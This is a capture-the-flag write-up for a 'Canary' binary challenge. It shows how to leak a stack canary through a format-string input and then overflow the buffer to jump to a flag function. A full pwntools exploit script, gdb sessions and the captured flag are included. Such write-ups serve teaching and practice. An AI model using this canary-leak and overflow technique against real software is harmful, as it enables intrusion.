Canary
A tear rolled down her face like a tractor. “David,” she said tearfully, “I don’t want to be a farmer no more.” Can you call the flag function in this program (source)?
Recon
This is basically the same challenge as the no_canary (write-up), but with the small difference that this binary is protected with a stack canary. This means if we overwrite the return address, we also overwrite the canary and the program will crash. To bypass this we need to find a way to leak the stack canary.
We can do that by abusing the first gets
function which is using the input in strcat
, which
gives us a formatstring exploit. If we use input like %3$p
we can leak information
from the memory. To find out where the stack canary is saved we start gdb.
$ gdb ./canary
...
gdb-peda$ disas greet
Dump of assembler code for function greet:
0x0000000000400891 <+0>: push rbp
0x0000000000400892 <+1>: mov rbp,rsp
0x0000000000400895 <+4>: sub rsp,0x60
0x0000000000400899 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000004008a2 <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004008a6 <+21>: xor eax,eax
...
gdb-peda$ b *0x00000000004008a6
We disassemble the greet function and send a breakpoint after the
stack canary is saved in $rbp-0x8
. If we run the program we can see
the saved stack canary.
gdb-peda$ r
...
Breakpoint 1, 0x00000000004008a6 in greet ()
gdb-peda$ x/x $rbp-0x8
0x7fffffffe438: 0xc3bfc258a3464c00
If we continue we can now use different values to leak the stack canary.
gdb-peda$ c
Continuing.
Hi! What's your name? %16$p %17$p %18$p %19$p %20$p
Nice to meet you, 0x7fffffffe540 0xc3bfc258a3464c00 0x7fffffffe460 0x4009c9 0x7fffffffe540 !
Anything else you want to tell me?
And we see that we leak the stack canary if we use %17$p
as input. So with that
we can create our bufferoverflow. We overflow the buffer, we put the correct stack canary on the place of the canary, so the program won't crash and then overwrite the return address.
We get the address of the flag
function by using objdump
:
$ objdump -x canary | grep flag$
0000000000400787 g F .text 0000000000000013 flag
Solution
from pwn import *
s = remote("shell.actf.co", 20701)
#s = process("./canary")
def get_canary():
s.send("%17$p\n")
s.recvuntil("Nice to meet you, ")
return s.recvline()[0:-2]
addr = p64(0x0000000000400787)
print s.recvuntil("name?")
canary = get_canary()
print "[+] Canary {}".format(canary)
print s.recvuntil("me?")
s.send("A"*56 + p64(int(canary,16)) + addr*3 + "\n")
print s.recvline()
print s.recvline()
Running it:
$ python solve_canary.py
[+] Opening connection to shell.actf.co on port 20701: Done
Cock-a-doodle-doo! Cock-a-doodle-doo!
.-"-.
/ 4 4 \
\_ v _/
// \\
(( ))
=======""===""=======
|||
'|'
Ahhhh, what a beautiful morning on the farm!
And my canary woke me up at 5 AM on the dot!
_.-^-._ .--.
.-' _ '-. |__|
/ |_| \| |
/ \ |
/| _____ |\ |
| |==|==| | |
| |--|--| | |
| |==|==| | |
^^^^^^^^^^^^^^^^^^^^^^^^
Hi! What's your name?
[+] Canary 0x94ffc29c6e888700
Anything else you want to tell me?
actf{youre_a_canary_killer_>:(}
actf{youre_a_canary_killer_>:(}
Segmentation fault
[*] Closed connection to shell.actf.co port 20701
Flag
actf{youre_a_canary_killer_>:(}